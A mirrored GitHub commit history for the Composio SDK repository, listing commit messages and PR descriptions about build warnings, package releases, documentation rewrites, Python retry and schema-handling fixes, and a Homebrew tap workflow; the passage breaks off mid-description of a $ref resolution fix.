mirror of
https://github.com/ComposioHQ/composio.git
synced 2026-09-22 11:46:35 +08:00
@composio/cli@0.2.32-beta.275
4302 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
20bf1b6345 |
chore(ts): quiet tsdown build warnings (#3665)
This PR: - migrates shared tsdown dependency config from deprecated `external` / `noExternal` aliases to `deps.neverBundle` / `deps.alwaysBundle` - disables noisy Rolldown plugin timing and ineffective dynamic-import diagnostics in shared config while keeping build checks enabled - fixes the `json-schema-to-zod` `JSONSchema7TypeName` import so it stays type-only - keeps the CLI bundle graph aligned with `next` while quieting the dynamic-import warning through `checks.ineffectiveDynamicImport: false` - makes the Node file E2Es treat the current external storage `Unauthorized` upload response as an explicit `UPLOAD_UNAVAILABLE`/skip outcome instead of failing unrelated SDK build PRs Verification: - `pnpm build` - build log scan for `WARN`, deprecated `external` / `noExternal`, `deps.onlyBundle`, `PLUGIN_TIMINGS`, and `INEFFECTIVE_DYNAMIC_IMPORT` - `pnpm --dir ts/packages/cli test -- --runInBand` - `pnpm --dir ts/e2e-tests/runtimes/node/file-roundtrip typecheck` - `pnpm --dir ts/e2e-tests/runtimes/node/tool-router-files typecheck` - `pnpm lint:packages` - CI: TypeScript build/typecheck/test and Node 22/24/25, Deno, Cloudflare, and CLI e2e are green on the latest commit@composio/cli@0.2.32-beta.275 |
||
|
|
9df19b46cc |
chore(python): release 0.17.0 (#3678)
Python SDK 0.17.0 (mirrors the TS `@composio/core` 0.13.0 surface). `make bump` (minor) bumped `pyproject.toml` + all provider packages to 0.17.0; this PR also syncs `composio/__version__.py` and adds the `## [0.17.0]` CHANGELOG entry so the release guard (`__version__` == `pyproject` == `CHANGELOG[0]`) passes — verified locally (`release workflow test passed`). ## 0.17.0 surface - `triggers.parse()` (parse + optionally verify a webhook; empty `verify_secret` now raises instead of silently skipping) and `triggers.set_webhook_subscription()` - `composio.sessions` is the canonical sessions mount; `composio.tool_router` deprecated alias - MCP is opt-in (`mcp=True`); default sessions return native tools - Prefer the `sandbox` session config key (`workbench` still accepted) - `connected_accounts.update_acl()` (graduated from experimental) Merging this triggers the Python publish. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
d102ab03ca |
Release: update version (#3676)
This PR was opened by the [Changesets release](https://github.com/changesets/action) GitHub action. When you're ready to do a release, you can merge this and the packages will be published to npm automatically. If you're not ready to do a release yet, that's fine, whenever you add more changesets to next, this PR will be updated. # Releases ## @composio/core@0.13.0 ### Minor Changes -@composio/core@0.13.0 |
||
|
|
d2e273ba4c |
fix(release): register slim+experimental in root workspaces (unblocks changeset release) (#3675)
## Why The changeset release on `next` (run after #3637 merged) **failed**, so no "Release: update version" PR was created and nothing published: ``` 🦋 error Found changeset add-slim-package for package @composio/slim which is not in the workspace ``` ## Root cause Changesets' package discovery (`@manypkg/get-packages`) reads the **root `package.json` `workspaces`** field, which was stale — it was missing `ts/packages/slim` and `ts/packages/experimental`. Both are present in `pnpm-workspace.yaml`, so pnpm/turbo saw them but changesets did not, and `changeset version` aborts entirely when a changeset references an undiscovered package. ## Fix - `package.json`: add `ts/packages/experimental` + `ts/packages/slim` to `workspaces`. - `.changeset/config.json`: `fixed` `@composio/core` ↔ `@composio/slim` so slim always ships the **same version as core** (slim mirrors the built core runtime). ## Verified locally `changeset version` now resolves cleanly: | package | version | |---|---| | @composio/core | 0.13.0 | | @composio/slim | 0.13.0 (1-1 with core) | | @composio/experimental | 0.1.0 | Merging this re-triggers the TS SDK Release workflow, which will create the Version Packages PR. 🤖 Generated with [Claude Code](https://claude.com/claude-code) |
||
|
|
97e40b7071 |
fix(release): register slim+experimental in root workspaces; fix slim to core version
The changeset release on `next` aborted with "Found changeset add-slim-package for package @composio/slim which is not in the workspace", blocking the Version Packages PR and all publishes. Root cause: changesets' package discovery (@manypkg/get-packages) reads the root package.json `workspaces` field, which was stale — missing `ts/packages/slim` and `ts/packages/experimental` (both present in pnpm-workspace.yaml, so pnpm saw them but changesets did not). - package.json: add ts/packages/experimental and ts/packages/slim to workspaces - .changeset/config.json: fix @composio/slim to @composio/core so slim always ships the same version as core (slim mirrors the built core runtime) Verified `changeset version` now resolves: core 0.13.0, slim 0.13.0, experimental 0.1.0. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
d17a268d3f |
docs: sessions-first rewrite — new guides, examples & components (+ core 0.13.0 SDK changes) (#3637)
Integration branch for the next docs release: a **sessions-first
documentation rewrite** — new and rewritten guides, example pages,
interactive components, and docs tooling — plus the supporting SDK
changes that the new docs describe.
The bulk of this PR is docs (~24k lines across ~150 commits); the SDK
changes (~5k lines) back the new guides.
## Documentation (the bulk)
- **Sessions-first restructure** — reorganized navigation and section
structure (incl. the "Sandbox (prev workbench)" section), with
v3-reorganization redirects so old URLs keep resolving.
- **Rewritten core guides** — quickstart, configuring sessions, triggers
(creating + subscribing to events), proxy-execute, toolkits
enable/disable, and common FAQ, rewritten in the house voice.
- **New example pages** — local-sandbox PR reviewer, daily standup bot,
and slack bot, with runnable build-ups.
- **New interactive components & diagrams** — triggers flow animation,
manage-connections visual, connection-refresh visual, and the
terminal-kit components.
- **Docs tooling** — a docs-graph link-graph connectivity checker,
search reprioritization (deprioritize legacy pages), and SDK-reference
regeneration.
## Supporting SDK changes
**`@composio/core` → 0.13.0 (minor)**
- `composio.sessions.create()` as the first-class sessions API
(`composio.create()` kept as an alias).
- **MCP is opt-in:** default `create()` / `use()` return native-tool
sessions (`SessionWithoutMcp`); pass `{ mcp: true }` to surface
`session.mcp`. _Migration: read `session.mcp` only after creating with
`{ mcp: true }`._
- `session.sandbox` is the canonical resolved config;
`session.workbench` kept as a deprecated alias. `sandbox` is the
preferred session-config key (`workbench` still accepted).
- `connectedAccounts.updateAcl()` graduated from experimental (alias
kept).
- `triggers.parse()` (parse + optionally verify an incoming webhook) and
`triggers.setWebhookSubscription()`.
**`@composio/experimental` → minor** — local-workbench helpers moved
onto the `@composio/experimental/workbench` subpath (out of
`@composio/core/experimental`), keeping the ~14 KB embedded Python
helper out of core. Plus the experimental Pi provider.
**`@composio/slim` → minor.**
**Python → 0.17.0** — mirrors the TS surface: `composio.sessions` mount
(`tool_router` deprecated), `triggers.parse()` /
`set_webhook_subscription()`, the `sandbox` config key, and
`connected_accounts.update_acl()`.
## Review response (#3664)
Addressed the `@composio/core` review:
- **Security:** `triggers.parse()` no longer fails open — a
present-but-empty `verifySecret` (e.g. unset `COMPOSIO_WEBHOOK_SECRET`)
now throws instead of silently skipping verification; omitting it stays
an explicit opt-out (both SDKs).
- Removed snake_case leakage from `transformWebhookSubscription` (+ the
index signature that allowed it).
- **Removed** the TS-only `connectedAccounts.link()` toolkit
auto-resolve (shipped with cancellability / orphaned-auth-config bugs
and was effectively undocumented; to be reintroduced properly later).
- Unified Python error types on `ValidationError`; added `mcp=True`
Python tests; fixed runtime-portability + error-type test assertions.
- Polished deprecation messages; fixed the backwards `/experimental`
`@deprecated` note and the `SessionWithMcp` JSDoc.
## Testing
- **TS:** `@composio/core` + `@composio/experimental` typecheck pass;
vitest green for the touched suites.
- **Python:** `test_tool_router.py` + `test_triggers.py` pass (161
tests).
---------
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Co-authored-by: Kshitij Jhunjhunwala <kj@composio.dev>
Co-authored-by: Malay Vasa <malayvasa@gmail.com>
Co-authored-by: Sarah Simionescu <sarah@composio.dev>
Co-authored-by: Kshitij Jhunjhunwala <113939507+KJ-11@users.noreply.github.com>
|
||
|
|
eeca911392 | Revert "docs: add Security and Data section (#3525)" (#3668) | ||
|
|
a098e39b18 |
docs: add Security and Data section (Security + Data retention) (#3525)
Adds a **Security and Data** docs section (below Triggers and webhooks) with two pages: - **Security** (`/docs/security/overview`) — posture, compliance and the [Trust Center](https://trust.composio.dev), org/project isolation, credential protection (AES-256-GCM at rest, TLS), token redaction, webhook signing, responsibilities, and vulnerability reporting. - **Data retention** (`/docs/security/data-retention`) — what Composio stores, **1-year** retention, the per-project **Log storage → "Don't store data"** option (Composio keeps an audit record but does not store tool-call payloads), an honest **"Where your data goes"** section (data still flows to the destination provider and sub-processors during execution; links the [Trust Center sub-processor list](https://trust.composio.dev/subprocessors)), and a contact-sales path for contractual arrangements. Includes a redacted dashboard screenshot. Note: "Don't store data" controls what Composio retains; it is not framed as a zero-data-retention guarantee. 🤖 Generated with [Claude Code](https://claude.com/claude-code) |
||
|
|
ad8b10dc48 |
docs(security): drop file-TTL configurability line (control not shipped yet)
Keep the default 1-hour file TTL description; remove the per-project Settings → File TTL configurability sentence until that dashboard control ships. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
a072697252 |
docs(security): tie file payloads in object storage to the file TTL
Split the "Where your data goes" file/trigger bullet: file payloads live in object storage only for the file TTL (1h default) then expire, distinct from trigger destinations which receive events in real time. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
63e5755507 |
docs(security): clarify Log storage toggle semantics + file TTL
Per the data-storage/privacy review: - Document that the Log storage setting is forward-looking (pause/resume): switching to "Don't store data" stops storing new payloads but does NOT delete logs already stored, and switching back does not backfill the gap. - Add file availability: tool-execution files are presigned URLs with a default 1-hour TTL, configurable 1-24h per project in Settings. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
81ce48001a |
docs: improve & correct the Rate Limits reference page (#3638)
New docs page: **Rate limits & usage** (`docs/content/docs/rate-limits.mdx`, registered under "Other topics"). Closes the recurring "rate limits / suspension / SLA" support questions (Plain SUP-807 theme) with one canonical, honest answer. All numbers/headers verified against `apps/apollo/src/lib/ratelimit/` (constants.ts + middleware.ts): - **Platform limits:** per-org, fixed 1-min window; live limit in `X-RateLimit` / `-Remaining` / `-Window-Size`; `429` + `Retry-After` on exceed. Plan defaults (Hobby/Starter 2k, Growth 10k, Enterprise effectively unlimited) shown as **defaults with the header as authoritative**. - **No automated suspension** — throttle only; the only hard block is a manual `403`. - **Upstream provider 429s** (Gmail/Slack/Ads) distinguished from platform limits → BYO-OAuth (custom auth) for prod. - **Multi-tenant**: single account + `userId` per end-user is recommended. - Honest gaps: **no public status page / health webhook invented**; SLA routed to Enterprise. Approach informed by how Nango/OpenAI/Stripe/GitHub document limits (mechanism + headers as the contract, not a brittle per-plan matrix). ### Before merge - [ ] **Confirm the Vercel preview build is green.** Local `bun run build` could not be run this session due to an environment-level `bun` `CouldntReadCurrentDirectory` fault (reproduced across worktrees, unrelated to this change). The page **compiled + typechecked** via `node next build`, and it contains **no twoslash code blocks** (only python/json/bash fences), so the usual compile-break risk is absent — but please let the preview confirm full static generation. - [ ] Sanity-check the plan-default numbers are OK to publish (they're real but can drift; the doc labels them defaults and points to the header as source of truth). - [ ] Decide whether to add a real status-page link if/when one exists (currently omitted on purpose). - [ ] Preview: `docs-git-docs-rate-limits-usage.preview.composio.dev` |
||
|
|
6ab797c88f |
changelog: PostHog region is now a per-connection field (#3593)
Adds a changelog entry: the PostHog **region** (`us`/`eu`) is now a per-connection field instead of an auth-config field. Existing connections were migrated (default `us` stays default; non-default values carried over), so no user action and no re-auth. Pairs with the customer FYI email (Linear PRO-310) and Mercury PR #24717 (field relabel "Region" + corrected `us`/`eu` description). ### Before merge - [ ] Preview renders + appears in the changelog index: `docs-git-changelog-06-17-26-posthog-region.preview.composio.dev` - [ ] Links resolve in preview (Link/Initiate API refs, PostHog toolkit docs) - [ ] Publish date `2026-06-17` still correct at merge time - [ ] Mercury PR #24717 merged (so the dashboard field already reads "Region" / `us`,`eu`) Local `bun run build` green (1412/1412 static pages). |
||
|
|
de2657c30d |
fix(ts-builders): mark @composio/ts-builders private (do not publish to npm) (#3663)
Replaces #3662 with the opposite (correct) approach: keep `@composio/ts-builders` **internal/unpublished**, not public. This PR: - marks `@composio/ts-builders` as `private: true` so changesets stops attempting to publish it to npm ## Why `@composio/ts-builders` is an internal AST-builder helper consumed **only** by `@composio/cli` (`"@composio/ts-builders": "workspace:*"`). `@composio/cli` is itself `private: true` and is distributed as **bundled Bun binaries via GitHub releases**, not as an npm package — so it bundles its workspace deps and never resolves them from npm. **No package published to npm depends on `ts-builders`.** It was simply missing `private: true`. With the repo-wide changeset `access` default of `restricted` and no `publishConfig.access: public` opt-in, the first-ever publish 404'd in the 2026-06-25 release: ``` E404 404 Not Found - PUT https://registry.npmjs.org/@composio%2fts-builders ``` ## Consistent with existing CLI-only helpers `@composio/cli-keyring` and `@composio/cli-local-tools` are already set up exactly this way — `private: true`, consumed by the CLI via `workspace:*`, intentionally **not on npm**. `ts-builders` now matches them. ## Effect - `changeset publish` skips private packages, so future release runs no longer fail on `ts-builders`. - The CLI keeps consuming it through the workspace (bundled into the binary); npm resolution is never involved. - The 14 packages already published on 2026-06-25 don't reference `ts-builders`, so the published dependency graph is already self-consistent — this only stops the spurious publish failure going forward. No version bump and no `publishConfig` needed.@composio/ts-builders@0.2.0 |
||
|
|
9764ce33ff |
Release: update version (#3616)
This PR was opened by the [Changesets release](https://github.com/changesets/action) GitHub action. When you're ready to do a release, you can merge this and the packages will be published to npm automatically. If you're not ready to do a release yet, that's fine, whenever you add more changesets to next, this PR will be updated. # Releases ## @composio/core@0.12.0 ### Minor Changes -@composio/core@0.12.0 @composio/json-schema-to-zod@0.2.0 @composio/claude-agent-sdk@0.10.0 @composio/cli-keyring@0.2.0 @composio/cli-local-tools@0.1.0 @composio/cloudflare@0.10.0 @composio/vercel@0.10.0 @composio/google@0.10.0 @composio/openai@0.10.0 @composio/mastra@0.10.0 @composio/anthropic@0.10.0 @composio/llamaindex@0.10.0 @composio/langchain@0.10.0 @composio/openai-agents@0.10.0 @composio/cli@0.2.32-beta.274 |
||
|
|
6e7fc24d93 |
fix(ts): disable publint pack under Turbo to fix flaky build ENOENT (#3661)
This PR: - fixes the intermittent `E2E Test CLI (scratch)` → **Build** failure seen on the changeset release PR #3616, where `@composio/anthropic#build` died with: ``` Error: ENOENT: no such file or directory, open '/tmp/tsdown-pack-XXXXXX/composio-anthropic-0.10.0.tgz' ``` - gates `publint` with `!isTurboTask` in `tsdown.config.base.ts`, mirroring the existing ATTW workaround, so neither publish-readiness check packs a tarball under Turbo ## Root cause `tsdown.config.base.ts` already disabled **ATTW** under Turbo to dodge a "tarball path bug for scoped packages", but left **publint** enabled with `pack: 'pnpm'`. In tsdown the pack is shared and runs whenever *either* check is enabled: ```js if (publintConfigs.length || attwConfigs.length) { const tarball = await packTarball(pkg.packageJsonPath); // pnpm pack → temp dir → readdir → readFile ... } ``` So disabling ATTW alone did **not** stop the pack — publint kept triggering it, and with it the intermittent `readdir`-then-`readFile` race where the packed `.tgz` is gone by the time `readFile` runs. It's flaky: this run it hit `@composio/anthropic` while 14 sibling scoped packages packed fine. ## Fix `publint.enabled: true` → `publint.enabled: !isTurboTask`. With both ATTW and publint disabled under Turbo, `packTarball()` is never called in workspace/CI builds, eliminating the race. Direct package builds (no `TURBO_HASH`) keep running both checks with packing — where the bug does not occur. ## Verification (local, `--force` to bypass cache) - **Turbo build before:** `[publint]` runs for every package (packs the tarball) → race surface present. - **Turbo build after:** `0` publint runs, `3 successful, 3 total`, all `🙏 Build succeeded!` → pack step gone. - **Direct build after** (`env -u TURBO_HASH pnpm build` in `providers/anthropic`): both `✔ [attw]` and `✔ [publint]` run and pass → coverage retained off-Turbo. |
||
|
|
0ece269c73 |
docs(py): complete 0.16.0 CHANGELOG before release (#3660)
This PR: - completes the Python `0.16.0` CHANGELOG entry, which previously documented only the version + dependency bump even though six user-facing fixes landed on the unreleased `0.16.0` since the entry was written (`py@0.15.0..HEAD`) - refreshes the `0.16.0` date to its actual release date (`2026-06-25`) - is a prerequisite for tagging `py@0.16.0` and publishing to PyPI — PyPI is currently at `0.15.0`; `0.16.0` was bumped in-repo but never tagged or published, and no further version bump was made for the six follow-up fixes ## Context `0.16.0` is unreleased (PyPI's latest stable is `0.15.0`, there is no `py@0.16.0` tag), and `pyproject.toml` / `__version__.py` were never bumped past `0.16.0`. So these six fixes belong to `0.16.0`, not a new version. The newly documented changes: - file `$ref`/`$defs` dereferencing so auto upload/download flags behind a reference aren't dropped (e.g. `GMAIL_GET_ATTACHMENT`) - disabling retries on non-idempotent `tools.execute()` / `tools.proxy()` writes to prevent duplicate side effects - bounded `(connect, read)` timeouts on session file transfers and presigned S3 paths - centralized provider-visible tool schema aliasing across Anthropic, Claude Agent SDK, Gemini, Google ADK, and OpenAI Agents - deep-copying the OpenAI Agents tool schema before stripping `examples`/`default` Plus the already-noted `composio-client` `1.39.0` → `1.41.0` bump and the dependency-range / uv-lock refresh. Once merged, release with: \`\`\`bash git tag py@0.16.0 <merge-commit> && git push origin py@0.16.0 \`\`\`py@0.16.0 |
||
|
|
f6b5505739 | fix(core): preserve SDK reference types | ||
|
|
4312e0cae3 |
docs: update documentation for new changelog entries (#3458)
## Summary Automated documentation updates triggered by new changelog entries merged to next. Generated by Codex via GitHub Actions. Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> |
||
|
|
417d614ef9 |
ci: add bump-homebrew-tap workflow (#3355)
## Summary - New workflow that auto-bumps the Homebrew formula in [ComposioHQ/homebrew-tap](https://github.com/ComposioHQ/homebrew-tap) whenever a stable CLI release is published. - Triggers on `release: published` for tags matching `@composio/cli@*`. Skips beta/rc/alpha tags. Also exposes `workflow_dispatch` for manual replay. - Pulls SHA256s from the release's `checksums.txt`, edits `Formula/composio.rb` in the tap repo, and commits/pushes (no-op if already current). ## Setup required before this can run - Create a fine-grained PAT scoped to `ComposioHQ/homebrew-tap` only, with `Contents: read/write`. - Add it as a repo secret named `HOMEBREW_TAP_TOKEN` in this repo. Without that secret the checkout step will fail; the workflow won't break anything else. ## Test plan - [ ] Land this PR - [ ] Add `HOMEBREW_TAP_TOKEN` secret - [ ] Manually run via `workflow_dispatch` with tag `@composio/cli@0.2.28` — should be a no-op (formula already at 0.2.28) - [ ] Verify next CLI release auto-bumps the formula --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> Co-authored-by: jkomyno <alberto@composio.dev> |
||
|
|
31315357dd |
fix(py): correct without_retries rationale, preserve strict validation, pin copy() contract (#3658)
Review follow-up to #3657 (squash-merged before these review fixes could land on it). No behaviour change to the retry scoping itself — this tightens correctness, docs, and test coverage around the `without_retries` mechanism. - **Correct the `without_retries` caching rationale.** The previous docstring justified caching with "each clone creates a new `ContextVar`, and dynamically-created `ContextVar`s are never garbage-collected." That is false for this code path: `request_ctx` is only ever `.get()`, never `.set()`, so it is reclaimed by refcounting on drop (measured: 500k get-only clones leak ~0 KiB; the CPython leak only occurs with `.set()`). Caching is kept because it avoids constructing a fresh `HttpClient` on every `execute`/`proxy` (the hottest path) — the real, stated justification now. - **Preserve `_strict_response_validation` on the clone.** The Stainless-generated `copy()` drops it, so the no-retry sibling silently reverted to the default (`False`) even when the parent had it enabled. The `copy()` override now threads it through `_extra_kwargs` alongside `provider`, so the sibling differs from the parent only in `max_retries`. - **Document the scope boundary.** The `without_retries` docstring now states that only `tools.execute` / `tools.proxy` are de-retried; other non-idempotent writes (`auth_configs.create`/`update`/`delete`, `mcp.update`/`delete`, `connected_accounts.delete`/`refresh`, `link.create`) keep the default retries (most are naturally idempotent on retry; the durable fix is backend idempotency keys). - **Add regression coverage:** the clone preserves `_strict_response_validation`, plus contract guards pinning the Stainless `copy`/`_extra_kwargs`/`with_options` internals the override relies on — so a `composio_client` regen that breaks the contract fails as an obvious assertion rather than a cryptic `TypeError`. - Minor: fix the `x-sdk-version` `"unknwon"` → `"unknown"` typo and tighten `te.Self` typing on the cache field/property. No changeset (Python-only change; changesets are TypeScript-only). |
||
|
|
0c17fcd9fe |
docs: correct enum-rename slugs in 2026-03-28 changelog (#3391)
## Summary Follow-up to #2941. The "Renamed enum slugs" section of the 2026-03-28 changelog (`docs/content/changelog/03-28-26-tool-consolidation-enum-renames.mdx`) lists 347 Old Enum → New Enum pairs that don't line up with the actual class-name-derived slugs delivered by mercury PR #17949 (commit `12d585aa7e`, "fix: rename low-usage action class names to cleaner slugs"). This PR replaces that section with the verified table. ### How slugs are formed ```python enum = inflection.underscore(cls.__name__).upper() slug = enum if enum.startswith(TOOLKIT) else f"{TOOLKIT}_{enum}" ``` Slug is derived from the **class name** of the action, not the file name and not the `name` attribute. (Source: `mercury/tools/_base/action.py` `set_metadata` / `set_tool`.) ### Audit results vs. existing docs section | Category | Count | |---|---| | Original docs pairs that match PR #17949 exactly | 291 | | Pairs with **wrong New Enum** (PR's actual new differs) | 1 | | Pairs whose **old class never existed** in any commit | 5 | | Pairs that refer to renames done in **other PRs** (or tool removals) | 20 | | Pairs claiming a rename **that never happened** (old class still present at HEAD with original slug) | 30 | | **Real PR #17949 renames missing from docs and still valid at HEAD** | **1,153** | | Total entries originally listed | 347 | | Total entries in this rewrite | **1,445** | ### Notable corrections - `SUPABASE_UPDATES_PROJECT_S_SUPAVISOR_CONFIG` → docs said `SUPABASE_UPDATE_SUPAVISOR_CONFIG`; **actual** is `SUPABASE_UPDATE_PROJECT_SUPAVISOR_CONFIG` (class `UpdateProjectSupavisorConfig` at `apps/supabase/actions/generated/updates_project_s_supavisor_config.py`). - `SLACK_DELETE_MESSAGE` is **not a real slug**. The chat-deletion action is class `DeletesAMessageFromAChat`, slug `SLACK_DELETES_A_MESSAGE_FROM_A_CHAT`. Removed from the table. - All eight `PIPEDRIVE_*A_*` entries (`ADD_A_DEAL`, `ADD_A_NOTE`, `DELETE_A_PERSON`, `GET_DETAILS_OF_A_PERSON`, `LIST_PARTICIPANTS_OF_A_DEAL`, `UPDATE_A_DEAL`, `UPDATE_A_LEAD`, `UPDATE_A_PERSON`) still exist at HEAD with their original slugs — removed from the renames table. - 14 Slack entries that claimed renames (e.g. `SLACK_FETCH_TEAM_INFO` → `SLACK_GET_TEAM_INFO`) were never executed; class names still match the original slug. Removed. - Whole toolkits previously omitted that PR #17949 actually renamed and that remain valid at HEAD: PostHog (179), Trello (63), Salesforce (41), Vercel (39), Twitter (36), Google Analytics (25), Dropbox (18), Icypeas (5), Reddit (2), YouTube (2), Apollo, Facebook, Hyperbrowser, Telegram (1 each). ### Front-matter description / intro paragraphs Updated count from "1,545 enum slugs across 24 toolkits" → "1,445 enum slugs across 37 toolkits" to match the rewritten table. ### Out of scope This PR does **not** change the "Deprecated tools" or "Consolidated (removed) tools" sections — those describe a different consolidation effort and are unrelated to the class-rename audit. ## Test plan - [ ] Spot-check 10–20 random entries from the rewritten table against the actual class definition in `mercury` (`apps/<toolkit>/actions/`) to confirm `inflection.underscore(cls.__name__).upper()` matches the listed New Enum. - [ ] Confirm `<Accordions>...</Accordions>` block renders correctly on `docs.composio.dev` preview. - [ ] Confirm none of the 30 "rename never happened" entries listed in the audit show up in the new table. --------- Co-authored-by: Alberto Schiabel <jkomyno@users.noreply.github.com> |
||
|
|
09b552aa03 |
fix(py): disable retries on non-idempotent tool writes to prevent duplicate side effects (#3657)
This PR: - stops the Python SDK from silently retrying `tools.execute` and `tools.proxy`, which are non-idempotent POST writes. The Stainless-generated client retries POSTs by default (`max_retries=2`) on read timeouts, 429, 5xx, and connection errors. A read timeout is unsafe to retry — the request may already be in flight on the backend — so a retry can duplicate the side effect, e.g. send an email twice. Reported in https://github.com/ComposioHQ/composio/issues/3586 - routes both write paths through a new `client.without_retries` — a cached, retry-disabled (`max_retries=0`) clone of the `HttpClient`. Reads and lists keep the default retries, so resilience is unchanged for idempotent calls - overrides `HttpClient.copy()` to re-inject the required `provider` keyword and re-aliases `with_options`, since the generated `copy()` rebuilds via `self.__class__(...)` without `provider` — previously `with_options(max_retries=0)` raised `TypeError` on the subclass - caches the no-retry sibling instead of cloning per call: each clone creates a new `ContextVar`, and dynamically-created `ContextVar`s are never garbage-collected - adds `tests/test_no_retry_writes.py`: writes hit the transport exactly once on a retryable 5xx, reads still retry-then-succeed (proving the scoping), and a regression guard for the `copy()` override - interim fix only — the durable solution is idempotency keys, tracked in https://github.com/ComposioHQ/composio/issues/3654 (gated on backend support), which supersedes this once available No changeset (Python-only change; changesets are TypeScript-only). |
||
|
|
95b7b7f649 |
fix(openai_agents): deep-copy tool schema before stripping examples/default (#3632)
## Problem `OpenAIAgentsProvider.wrap_tool` mutates the caller's `Tool.input_parameters`. It shallow-copies the schema and then strips keys from the nested property dicts **in place**: ```python modified_schema = tool.input_parameters.copy() # shallow copy modified_schema["additionalProperties"] = False _remove_examples_from_schema(modified_schema) # del prop["examples"/"pattern"/"default"] ``` `_remove_examples_from_schema` recurses into `schema["properties"][*]` and does `del prop_value["examples"]`, `del prop_value["pattern"]`, `del prop_value["default"]`. Because `dict.copy()` is shallow, `modified_schema["properties"]` (and every nested property dict) is the **same object** as the original, so those deletions strip `examples`/`pattern`/**`default`** out of the caller's `Tool.input_parameters`. Since essentially every Composio tool carries `default`/`examples` on its properties, wrapping a tool silently corrupts its schema. Wrapping the same `Tool` twice, reusing it with another provider, or inspecting it after wrapping then sees the defaults gone. This is the only wrap path using a shallow `.copy()` + nested mutation — the rest of the codebase deep-copies before mutating schemas, e.g. `composio/utils/shared.py` (`schema = copy.deepcopy(schema)`, with the docstring *"The schema is deep-copied before any mutation so the caller's original is never modified."*) and `Tools._get` (`tool.model_copy(deep=True)`). ## Fix Deep-copy the schema before mutating (`copy.deepcopy(tool.input_parameters)`), so `_remove_examples_from_schema` only edits the provider-local copy. One-line change + `import copy`. ## Test Added `python/providers/openai_agents/tests/test_provider.py::test_wrap_tool_does_not_mutate_input_parameters` — builds a tool whose properties carry `default`/`examples`/`pattern`, snapshots `input_parameters`, calls `wrap_tool`, and asserts both sides of the contract: - the caller's original `Tool.input_parameters` is unchanged - the returned `FunctionTool.params_json_schema` is still normalized for OpenAI Agents (`additionalProperties: false`, with `default`/`examples`/`pattern` stripped) - **Before:** the assertion fails — `owner` loses `default`/`examples`, `repo` loses `pattern`. - **After:** `Tool.input_parameters` is untouched while the wrapped schema remains sanitized. Verification: - `uv run pytest python/providers/openai_agents/tests/test_provider.py -q` → **1 passed** - `uv run ruff check python/providers/openai_agents/composio_openai_agents/provider.py python/providers/openai_agents/tests/test_provider.py` → clean - `uv run ruff format --check python/providers/openai_agents/composio_openai_agents/provider.py python/providers/openai_agents/tests/test_provider.py` → clean Co-authored-by: ly-wang19 <ly-wang19@users.noreply.github.com> |
||
|
|
d94a49ff43 |
fix(py): centralize tool schema aliasing (#3652)
This PR: - supersedes https://github.com/ComposioHQ/composio/pull/3625, https://github.com/ComposioHQ/composio/pull/3629, and the Python SDK/provider-side fix proposed by https://github.com/ComposioHQ/composio/pull/3504 - adds `alias_tool_input_schema` / `restore_tool_arguments` for provider-visible schemas and backend argument restoration - keeps `substitute_reserved_python_keywords` / `reinstate_reserved_python_keywords` as compatibility wrappers - preserves the existing Python keyword alias style (`from` -> `from_rs`), aliases invalid Python parameter names like `$top`, avoids leading-underscore aliases so Pydantic-backed providers can build models, and caps aliases at 64 characters for Anthropic-style tool schema validators - dereferences internal `$ref` / `$defs` before aliasing so referenced object properties are exposed through the same safe provider-visible names - restores Gemini manual `handle_response` arguments with the per-tool alias map before execution - wraps Google ADK tools with aliased callable signatures and restores original backend argument names - wraps Anthropic and Claude Agent SDK tool schemas with the same shared alias map and restores original backend argument names before execution - fixes the package-local Claude Agent SDK provider tests so they run without `pytest-asyncio` and keep using the provider-visible schema conversion hook - adds dependency-light core tests for helper behavior, `$ref` aliasing, Pydantic model compatibility, Gemini manual response, Google ADK wrapping, Anthropic wrapping, and Claude Agent SDK wrapping Local validation: - `uv run --project python pytest python/tests/test_tool_schema_aliasing.py python/tests/test_schema_parser.py python/tests/test_json_schema.py python/tests/test_imports.py -q` -> 112 passed - `PYTHONPATH=python uv run --project python --with-editable ./python/providers/claude_agent_sdk pytest python/providers/claude_agent_sdk/tests/test_provider.py -q --timeout=20` -> 16 passed - `uv run --project python --with-editable ./python/providers/langchain pytest --ignore-glob='python/tests/test_type_inference*.py' python/tests/ -q` -> 742 passed, 31 skipped - `uv run --project python --with-editable ./python --with-editable ./python/providers/langchain python <LangChain $top wrap smoke>` -> wrapped args schema field `param_top` - `uv run --project python --with-editable ./python --with-editable ./python/providers/langgraph python <LangGraph $top wrap smoke>` -> wrapped args schema field `param_top` - `uv run --project python ruff check --config python/config/ruff.toml python/composio/utils/shared.py python/tests/test_tool_schema_aliasing.py` -> passed - `uv run --project python ruff format --check --config python/config/ruff.toml python/composio/utils/shared.py python/tests/test_tool_schema_aliasing.py` -> passed - `git diff --check` -> passed Note: #3500's hosted MCP emission-layer report is already closed; this PR covers the Python SDK/provider surface rather than changing hosted MCP schema emission. |
||
|
|
aeeb471c63 |
fix(py): resolve $ref/$defs so file flags behind a reference aren't dropped (#3653)
## Problem
Tools whose parameter schemas express their file fields through a
`$ref`/`$defs` indirection lose auto file handling. With
`dangerously_allow_auto_upload_download_files=True`, a
`file_downloadable` output behind a `$ref` is never downloaded (the raw
`{name, mimetype, s3url}` object is passed through), and a
`file_uploadable` input behind a `$ref` is never staged — silently, with
no error.
`GMAIL_GET_ATTACHMENT` is the canonical shape — the flag sits two `$ref`
hops deep:
```
data → $ref → #/$defs/GetAttachmentResponse → file → $ref → #/$defs/FileDownloadable (file_downloadable: true)
```
**Root cause:** the hand-rolled walkers in
`composio/core/models/_files.py` (`_has_file_property`,
`_substitute_file_upload_value`, `_substitute_file_download_value`, …)
recurse through `properties`/`anyOf`/`oneOf`/`allOf`/`items` but **never
